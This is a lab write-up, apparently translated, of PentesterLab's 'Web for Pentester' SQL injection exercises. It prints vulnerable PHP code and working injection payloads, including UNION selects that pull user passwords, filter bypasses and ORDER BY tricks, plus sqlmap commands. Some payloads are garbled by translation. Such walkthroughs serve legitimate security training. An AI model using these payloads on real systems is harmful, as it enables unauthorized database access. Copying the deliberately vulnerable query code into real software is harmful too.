We continue with Pentesterlab's 'Web for pentester' lab, this time with the SQLi exploit exercise block (SQL injections), an excellent opportunity to start testing (and especially understanding) this type of vulnerabilities from the base.
Needless to say, the possibility of injecting SQL code into a web application has a maximum criticality since any data in the database may be available to be read or modified by a malicious user.
Exercise 1:
In the first exercise when observing the php code of the server we will see that there is no type of input validation on the $ _GET ["name"] parameter:
SERVER:
inject the following payload: PAYLOAD:
the variable $ sql will be
Exercise 2:
In the next step we will see that the space character in the input data is filtered:
SERVER:
To evade this simple filter we can use the characters / ** / (comment) or% 09 (URL encoded tabulator):
PAYLOAD:
Also, we could try to detect the injection in an automated way, normally with the de facto tool SQLMap with the following parameters and the corresponding tamper (modifier):
SQLMAP:
While keeping in mind that it is best to do it manually to know exactly what is being done. Furthermore, this type of automated tools can not be used in the OSCP examination.
Exercise 3:
Next, the regular expression \ s + is used to filter one or more spaces in a row:
SERVER:
reinject: PAYLOAD:
Exercise 4:
From now on they start working on it a bit more and, although obsolete from MySQL 5.5.0, they use the " mysql_real_escape_string " function to prevent injections of the following characters: \ x00, \ n, \ r, \, ', " and \ x1a. +
SERVER:
However, they fail to use the id parameter as a whole number without quoting ('), so it is still vulnerable:
PAYLOAD:
Obviously, in this case you would also remove it with sqlmap without problems:
SQLMAP:
Exercise 5:
In the following exercise a regular expression is used to make sure that the introduced id parameter is an integer. Unfortunately, the filter is empty because if you look, just verify that the START of the id parameter is an integer:
SERVER:
So we get the goal simply by putting a whole number at the beginning of the payload.
PAYLOAD:
Exercise 6:
Again there is an error when using the regex. This time the developer has tried to force the parameter to TERMINATE in integer ($), but it makes an error again and this time it does not ensure that the principle is valid (
SERVER:
So we are worth the previous injection:
PAYLOAD:
Exercise 7:
This time the start (
SERVER:
Thanks to this we can put the whole in a line so that the filter is valid ... and in the following line (\ n encoded to% 0a) add the injection:
PAYLOAD:
Exercise 8:
In Exercise 8 we have to inject into a sentence with 'order by'. This represents an added difficulty because we can not use single or double quotes because if we put them we would take the literal value (order by 'id' will literally order by the name 'id' not by the value of the variable 'id').
SERVER:
So for the sentence to take as variable 'name' we have two options:
- put it directly ORDER BY name
- put it between tildes ORDER BY `name`
So we can build the payload in the following way (% 23 is the pad # encoded) :
PAYLOAD:
Exercise 9:
The last SQLi exercise is similar to the previous one, but tildes (`) are no longer used for the variable:
SERVER:
In these cases we can nest IF sentences to generate our valid payload:
PAYLOAD:
And so far the SQL injections of this lab .. we see in the following exercises;)
Needless to say, the possibility of injecting SQL code into a web application has a maximum criticality since any data in the database may be available to be read or modified by a malicious user.
Exercise 1:
In the first exercise when observing the php code of the server we will see that there is no type of input validation on the $ _GET ["name"] parameter:
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require_once '../footer.php';
?>
Therefore if we inject the following payload: PAYLOAD:
http://pentesterlab/sqli/example1.php?name=root' or 1=1-- -
the variable $ sql will be
SELECT * FROM users where name='' or 1=1-- -'
and the server will return all the records of the user table:Exercise 2:
In the next step we will see that the space character in the input data is filtered:
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
To evade this simple filter we can use the characters / ** / (comment) or% 09 (URL encoded tabulator):
PAYLOAD:
http://pentesterlab/sqli/example2.php?name=root'%09and%09'1'='1
http://pentesterlab/sqli/example2.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2
Also, we could try to detect the injection in an automated way, normally with the de facto tool SQLMap with the following parameters and the corresponding tamper (modifier):
SQLMAP:
sqlmap -u "http://pentesterlab/sqli/example2.php?name=root" --dbs --tamper=space2comment
While keeping in mind that it is best to do it manually to know exactly what is being done. Furthermore, this type of automated tools can not be used in the OSCP examination.
Exercise 3:
Next, the regular expression \ s + is used to filter one or more spaces in a row:
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
So we will be able to use the characters / ** / (comment) from before to reinject: PAYLOAD:
http://pentesterlab/sqli/example3.php?name=root
'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2
Exercise 4:
From now on they start working on it a bit more and, although obsolete from MySQL 5.5.0, they use the " mysql_real_escape_string " function to prevent injections of the following characters: \ x00, \ n, \ r, \, ', " and \ x1a. +
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
However, they fail to use the id parameter as a whole number without quoting ('), so it is still vulnerable:
PAYLOAD:
http://pentesterlab/sqli/example4.php?id=2 or 1=1
Obviously, in this case you would also remove it with sqlmap without problems:
SQLMAP:
sqlmap -u "http://pentesterlab/sqli/example4.php?id=2" --dbs
Exercise 5:
In the following exercise a regular expression is used to make sure that the introduced id parameter is an integer. Unfortunately, the filter is empty because if you look, just verify that the START of the id parameter is an integer:
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
So we get the goal simply by putting a whole number at the beginning of the payload.
PAYLOAD:
http://pentesterlab/sqli/example5.php?id=2 or 1=1
Exercise 6:
Again there is an error when using the regex. This time the developer has tried to force the parameter to TERMINATE in integer ($), but it makes an error again and this time it does not ensure that the principle is valid (
^):
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
So we are worth the previous injection:
PAYLOAD:
http://pentesterlab/sqli/example6.php?id=2 or 1=1
Exercise 7:
This time the start (
^
) and the end ( $
) of the parameter are checked , but the regular expression contains a modifier that allows multiple lines (/ m). SERVER:
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
Thanks to this we can put the whole in a line so that the filter is valid ... and in the following line (\ n encoded to% 0a) add the injection:
PAYLOAD:
http://pentesterlab/sqli/example7.php?id=2%0a or 1=1
Exercise 8:
In Exercise 8 we have to inject into a sentence with 'order by'. This represents an added difficulty because we can not use single or double quotes because if we put them we would take the literal value (order by 'id' will literally order by the name 'id' not by the value of the variable 'id').
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th><a href="example8.php?order=id">id</th>
<th><a href="example8.php?order=name">name</th>
<th><a href="example8.php?order=age">age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
So for the sentence to take as variable 'name' we have two options:
- put it directly ORDER BY name
- put it between tildes ORDER BY `name`
So we can build the payload in the following way (% 23 is the pad # encoded) :
PAYLOAD:
http : //pentesterlab/sqli/example8.php?order=name `% 20% 23% 20or% 20order = name`,` name`
Exercise 9:
The last SQLi exercise is similar to the previous one, but tildes (`) are no longer used for the variable:
SERVER:
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th><a href="example9.php?order=id">id</th>
<th><a href="example9.php?order=name">name</th>
<th><a href="example9.php?order=age">age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
In these cases we can nest IF sentences to generate our valid payload:
PAYLOAD:
http : //pentesterlab/sqli/example9.php?order= IF (1, name, age)
And so far the SQL injections of this lab .. we see in the following exercises;)